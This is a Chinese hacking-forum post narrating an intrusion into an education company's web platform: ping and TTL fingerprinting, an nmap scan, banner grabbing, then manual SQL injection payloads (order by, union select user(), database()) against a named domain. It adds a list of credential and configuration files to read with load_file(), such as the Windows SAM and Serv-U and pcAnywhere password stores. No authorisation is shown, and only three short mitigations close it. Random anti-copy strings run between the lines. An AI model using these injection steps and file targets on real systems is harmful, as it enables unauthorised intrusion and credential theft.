中国网络渗透测试联盟
标题:
记一次Linux系统PHP注入入侵检测
[打印本页]
作者:
admin
时间:
2013-2-16 22:23
标题:
记一次Linux系统PHP注入入侵检测
题记:
) K' }, w# L: L) u
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
# ]# `6 N2 e4 N% e3 R% m8 T" U1 n
第一步:获取需要的信息
! D3 D5 X' c. k* a1 |
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
0 l3 p5 D `( C6 v/ J! e7 R( V/ }
注:以下为保护特用XXX代替敏感信息
4 ~% o N% i$ }5 m& n. W4 M
顺手先PING了一下他们的域名:
( R6 O' L) m; G/ F L6 N+ {& x
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
x+ t, x1 i) d" a1 n# {% y V; l7 f
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
! ^1 c' u8 ?% R5 c
顺便了解一下TTL,学好基础知识才能一路顺风:
- P6 J* H) T9 W, R( U7 p
TTL:(Time To Live ) 生存时间
& C4 f* _' R% ~* ]( n
指定数据包被路由器丢弃之前允许通过的网段数量。
* n( o9 Z: [! _! Y
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
; m; Q3 e1 w' u, e
使用PING时涉及到的 ICMP 报文类型
& H6 S) g' L, Z% V
一个为ICMP请求回显(ICMP Echo Request)
9 \7 Y9 @# f1 X2 }. h. H ~
一个为ICMP回显应答(ICMP Echo Reply)
: {9 B2 P9 m, g2 ~2 t. E
TTL 字段值可以帮助我们识别操作系统类型。
/ M: A, ?! ^: _' [9 H' y
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
1 p+ Z L! Z1 R5 w+ w# \. d
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
( }" H5 \6 L x, n+ K+ a& X+ r' ~- o
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
* L% x( I' b; ?
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
* O4 A. h& M* W% }# }
当然,返回的TTL值是相同的
+ N; }, V0 f& a0 \$ n
但有些情况下有所特殊
' f$ `& r% _' K/ X5 |9 J9 L
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
, h' _1 Z5 @: R. T
FreeBSD 4.1, 4.0, 3.4;
w/ L y6 \- k2 G, B
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
& B( W' k7 b' ]9 z7 E
OpenBSD 2.6, 2.7,
2 z. T1 [ m2 ~6 f- E z! _, W7 A
NetBSD
h3 B u/ L$ ~# P' b5 m8 H8 t1 E. w6 M' C
HP UX 10.20
0 y, N3 o2 O) j3 I* _
ICMP 回显应答的 TTL 字段值为 255
. F) @& r' T, F- x7 b
Windows 95/98/98SE
. z/ p; J; b' M3 O! |' w+ I
Windows ME
# A7 @% B% d7 A* o6 o5 E
ICMP 回显应答的 TTL 字段值为 32
% W) |$ {9 q2 J1 ^8 @( k% }$ [
Windows NT4 WRKS
! ~& y4 H2 D( [# V7 f
Windows NT4 Server
, M# i$ s+ k2 o
Windows 2000
0 `# X0 F! ~. R' k6 E: P- n- u2 I$ G
Windows XP
, c# _' o2 G1 c0 ]& ?
ICMP 回显应答的 TTL 字段值为 128
) j- Q9 G. y: N7 ?! [
这样,我们就可以通过这种方法来辨别操作系统
3 K: t+ s0 [# b, M6 V! A3 z$ A/ }
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
& s! g+ m/ s) v, \
用NMAP扫描一下:
O" h2 e1 k% n2 T/ J4 C
nmap -sT -O XXX.XXX.XXX.XXX
2 e' _5 ~9 t2 `# u0 ~ o
如果没有装WinPcap则会弹出提示:
2 M F* T, H+ ]% l( i$ h
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
$ x- T: N8 W) T. v2 a' @
ade to version 3.1 or higher from
http://www.winpcap.org.
Resorting to connect(
( ?* Q5 h% X2 E0 l
) mode — Nmap may not function completely
. x9 w+ u& w& F% J* Y+ h5 ?
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
1 c: M, X+ p J, ?4 }, s
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
" v1 S- H: O# x4 p: H2 {, S
pcap is available from
http://www.winpcap.org.
iphlpapi.dll comes with Win98 an
) g5 k$ }+ L7 q
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
2 H- M* d- j8 o8 h
ersions, you may be able to take iphlpapi.dll from another system and place it i
6 r+ f' H! V$ k' o6 C6 C
n your system32 dir (e.g. c:\windows\system32).
6 W. S) C9 w4 P% ]& w0 Q2 a
QUITTING!
" \# u' m; |: ~1 E; C; N
到这里下载:
http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
5 [( m3 s# E$ U
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
& a1 u; z. T2 D( q( f! F
Interesting ports on XXX.XXX.XXX.XXX:
, p( S3 M1 U1 M$ ~
Not shown: 986 closed ports
+ u& O. V; R' e4 A$ w8 P
PORT STATE SERVICE
0 x5 l2 p5 d% N8 ]& I0 Z
21/tcp open ftp
5 H7 c# z7 N4 `/ M7 q, C
22/tcp open ssh
/ d( r; z2 {" e# Q9 G! Y* c
23/tcp open telnet
% G$ @) u( M% E6 \
80/tcp open http
' D& x5 W. L: W* t9 }% P
111/tcp open rpcbind
9 |9 V1 y5 k9 C" l( v
135/tcp filtered msrpc
8 D/ F5 Y* _( ^( \6 \
139/tcp filtered netbios-ssn
1 D y/ I- ]- V: P& q
445/tcp filtered microsoft-ds
: J6 X4 X6 ~) }9 ?5 I
513/tcp open login
6 k0 e' I! c+ u$ [; x
514/tcp open shell
. `) D8 r4 g7 V. y9 T# Z) ]
593/tcp filtered http-rpc-epmap
- v2 J* S9 t( y$ e" ~
1720/tcp filtered H.323/Q.931
0 Y4 p4 u u( G- ^7 ?# l- @! M
3306/tcp open mysql
3 E- @% d1 S# h& N
4444/tcp filtered krb524
( ` E+ t! M) e. i6 M
Device type: WAP
7 z# H$ J/ r" y7 O# }5 j* d
Running: Linux 2.4.X
" Y8 F, R; g! S1 w$ y0 U c
OS details: DD-WRT (Linux 2.4.35s)
) t& b+ y) Q! H& [
Network Distance: 13 hops
7 e0 [' a# t- d6 y. X( E
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
' W. c" {/ O w9 p
login as:
- a& K$ p( S) \' g" S3 O) g
Telnet23端口也是开着的,用telnet 命令链接一下:
+ f+ l( E9 R. r6 |6 f
telnet XXX.XXX.XXX.XXX
2 ~# z- s' V1 q" c8 \0 Q1 Z
提示:
" V( n! t, s* f: _5 [3 K1 U
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
; ^1 x! _7 i8 E @( O2 H6 m
Kernel 2.6.18-92.el5PAE on an i686
! z+ F: j! Q: \: w. s! j+ n; O
login:
- ]" { v/ H- w; `
获取HTTP头信息:
: ~1 z& E" E* o, [
在本地执行如下PHP代码
5 P3 g. c- \4 U* S9 h
<?php
l3 c( H7 S; T, D+ G5 R! Q1 f0 @
$url = ‘XXX.XXX.XXX.XXX’;
6 s4 [0 x4 ]4 L' ^0 o! M; x& \
print_r(get_headers($url));
' ~0 F" \0 ~5 N' b- J
print_r(get_headers($url, 1));
7 ?( t$ v& g, R$ J, d
?>
& G3 F- Q n" A! e1 a
将以上代码保存为PHP文件,执行:
: P, v/ } H! q* }
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
4 l' N' [* C1 S* ?6 L$ u5 H
现在可以得出结论:
9 l1 ^# S! E z# f, b8 T
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
7 I* O6 k6 h \/ ~" G) J% \
内核版本:Kernel 2.6.18-92.el5PAE on an i686
& ^" B& B. |& U
WEB服务器版本:nginx/0.7.61
* R' R9 r+ s3 J% n6 d
第二步,开始测试寻找漏洞
9 X" J: v+ z! G7 Y0 h. X
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
* P; S3 `9 \# h, q+ @+ d2 k/ Q
1、敏感地址:站内存在有类似:
http://www.fovweb.com/XXX.php?id=123
这种地址,属动态传参的
, i+ y l6 g! M3 {3 v
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
/ {$ B- x, ?# _5 ~9 Z N
http://www.fovweb.com/XXX.php?id=123
and 1=1 返回正常
6 n9 r6 ?4 Z& |$ U* X4 ], f
http://www.fovweb.com/XXX.php?id=123
and 1=2 返回错误
/ @8 C& V3 G. b
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
# u% U; b4 Q9 `9 Q+ R" o
3、手工注入:
9 u& {! G2 Y1 n/ ?6 t
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
0 p9 x) n7 |0 I; J( f
3.1 猜测当前表字段数
- U+ H; Q. ?3 G& ?; W( O& T$ C1 R
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 10
% A ^9 d! _" K/ M% T9 p
此处猜测有个简单的算法,都是有技巧的吗,呵呵
/ ? X) r, X9 p3 A
算法简单如下:
8 v1 `" Y$ ?2 }$ D/ F8 c
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
D2 F- S6 H M5 L
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
2 I [0 ]7 ^5 c2 Z8 j' f6 x
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
3 b1 f- Q' s4 _5 F' M
以此来判断,是否过界,配合取中算法猜出字段数。
; X8 g9 r2 k1 Z z
举例:
. U5 V% P) I; E1 a9 ]" s
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 3 返回正常
% h' j" u* B+ U6 j4 C- \
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 4 返回错误
; k9 c2 e# R2 j$ ^; J1 b- L4 N% A
此时3则为我们要找的字段数。
; @7 z. ?# H, _9 w4 W$ H3 y( C
3.2 配合union联合查询字段在页面所位置
) c3 G) u2 \) U$ H# q+ [" a$ z
我们已经知道了字段数为3,此时则可以做如下操作:
: p; G8 Q/ n3 k& `$ ^% p# y
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,2,3
, r1 d3 K- P9 t! c m- W5 V0 U' p
5 N- b0 v; w/ ?: K- t4 ~4 q% x& \
这样就可以测试到哪些字段在页面上有所显示了,如图:
9 g, ]: W' H& z: a
( y3 B# b% C+ a) k, a& W
3.3 查敏感信息
) f& f$ p: l* _0 c0 p5 @& J4 v
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
* I: \$ i8 L6 l2 I. a: w: x
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,user(),database()
3 V+ @. S7 |% U" U
3.3.1 先查数据库用户、数据库名,以备后用,如图:
7 T% g( G+ H) z
1 U4 C" g6 b0 v- ^5 h) t" p
得到数据库用户为root、数据库名为DBxx;
' i" q, }# q6 e' Y0 w* C- d, ?" }
3.3.2 查配置文件
# _5 `4 x$ _" s) V
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
/ L- R/ O1 W$ \4 J8 P+ U [8 R
查看文件有一定的条件限制:
2 C( h5 f6 W" ^: d2 s' S4 p' Z* S( y
欲读取文件必须在服务器上
1 ^1 r% Y& c) n* E
必须指定文件完整的路径
X/ \3 J% i* u. j0 |8 w9 c
必须有权限读取并且文件必须完全可读
/ o: c$ R( n0 a- X# i# V3 H
欲读取文件必须小于 max_allowed_packet
) {, E& S O0 I+ A, O
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
. b" v: X4 l+ ^8 i9 H2 w% J
常用的一些:
% a0 ?' @- g4 m# G1 H/ [
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
. z* s+ J" u6 r" K
/usr/local/apache2/conf/httpd.conf
2 a9 b+ B7 [$ w% Q- Z
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/ G) q# `# K' x' v7 y% t3 \ t
/usr/local/app/php5/lib/php.ini //PHP相关设置
, T1 V3 T' v9 a* ~# w
/etc/sysconfig/iptables //从中得到防火墙规则策略
. y& h7 A8 p0 Z8 ~8 W/ o3 E8 A, o
/etc/httpd/conf/httpd.conf // apache配置文件
8 ~" t6 u0 s0 T4 [2 d( ?9 v
/etc/rsyncd.conf //同步程序配置文件
$ r8 M' o, P- K8 o1 h' R' _7 F
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
" u% }" \) b( c' w+ n l6 I1 g
/etc/my.cnf //mysql的配置文件
5 L) e' ]( {: _6 \/ G, Y" F" o: _
/etc/redhat-release //系统版本
8 C; ]5 [' O; C- C. T
/etc/issue
2 }4 a1 j; c" o3 u a
/etc/issue.net
+ W0 o+ F& s$ q
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
+ m+ K% }% i# e( O6 r& N% M
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
7 Q4 k+ O7 t/ e8 \
c:\Program Files\Serv-U\ServUDaemon.ini
5 ~& J- z+ y# y2 b2 {6 V# b( B
c:\windows\my.ini //MYSQL配置文件
5 J; C" V+ n# o0 f: w
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
9 A! _, W, f1 Q/ A) Z1 G/ k, P
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
5 V4 `: H0 d, K9 e4 r9 X2 P
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
; _: J' R9 Z* s4 V G8 A
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
) B, W/ L- k* p# Y6 j
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
2 {, E |; y4 z5 _
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
; ] ~- {1 h. t; f3 l
//存储了pcAnywhere的登陆密码
1 m8 u9 E, j1 h1 d* v5 Y
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
' D& b) P# V y( ]7 O
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
; C) r O1 d( |" w S% [: C0 v4 z
最后:防范措施
- x% \( `3 \4 Q* n" f+ _
1、修复PHP注入漏洞;
9 j0 h" X$ L* ?2 R" b
2、Mysql使用普通权限的用户;
5 f) L. N) l0 X: C* S
3、升级linux内核至最新版本;
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2